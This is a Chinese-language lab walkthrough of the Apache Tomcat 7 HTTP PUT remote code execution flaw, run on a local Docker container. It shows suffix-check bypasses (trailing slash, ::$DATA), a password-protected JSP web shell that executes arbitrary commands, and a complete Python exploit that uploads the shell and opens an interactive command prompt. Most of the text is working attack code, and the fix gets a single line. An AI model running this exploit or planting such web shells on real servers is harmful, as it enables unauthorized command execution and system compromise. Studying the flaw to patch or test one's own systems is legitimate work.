Apache Tomcat是美国阿帕奇(Apache)软件基金会下属的Jakarta项目的一款轻量级Web应用服务器,它主要用于开发和调试JSP程序,适用于中小型系统。
Apache Tomcat 7.0.0版本至7.0.79版本存在远程代码执行漏洞。当 Tomcat 运行在 Windows 或Linux主机上,且启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过构造的攻击请求向服务器上传包含任意代码的 JSP 文件。并被服务器执行该文件,导致攻击者可以执行任意代码。
当然Tomcat会校验上传文件后缀以拒绝.jsp文件的上传,但在不同平台有多种方式绕过检测。在Linux下可用/,即可以PUT一个名为shell.jsp/的文件;在Windows下可用数据流标识,即shell.jsp::$DATA绕过。
具体漏洞详见:国家信息安全漏洞库
获取tomcat容器镜像:docker pull tomcat:7.0.70
启动容器:docker run -d -p 8080:8080 --name tomcat7 tomcat:7.0.70
进入tomcat容器,查看tomcat容器中web.xml文件,默认没有配置readonly参数值。
将tomcat容器中web.xml文件拷贝到本地修改添加readonly参数值。
docker cp 112e10b02107:/usr/local/tomcat/conf/web.xml D:\tools\testtools\securitytest\tomcat\conf\web.xml
docker cp D:\tools\testtools\securitytest\tomcat\conf\web.xml 112e10b02107:/usr/local/tomcat/conf/web.xml
访问tomcat首页:http://127.0.0.1:8080并使用工具拦截请求:
使用浏览器访问http://127.0.0.1:8080/test.jsp,可以看到已上传成功。
<!-- shell.jsp -->
<%
if("test".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
之后添加参数访问:http://127.0.0.1:8080/shell.jsp?pwd=test&i=ls -l
将 conf/web.xml 中 readonly 设置为 true。
1.tomcat下载地址:Index of /dist/tomcat
# -*- coding:utf-8 -*-
import requests
import sys
if __name__ == "__main__":
my_url = "http://127.0.0.1:8080/she11test.jsp"
put_headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.9",
"Connection": "close",
"Content-Length": "374"
}
put_body = """
<%
if("she11".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
"""
r1 = requests.put(my_url+'/', headers=put_headers, data=put_body)
if r1.status_code in [201, 204]:
print('[+] Upload successfully')
else:
print('[-] Failed')
sys.exit(1)
while True:
command = input('> ')
if command == 'exit':
break
c_url = my_url + ("?pwd=she11&i={}".format(command))
r = requests.get(c_url, headers=put_headers)
print(r.text.replace('<pre>','').replace('</pre>','').replace(' ',''))
sys.exit(2)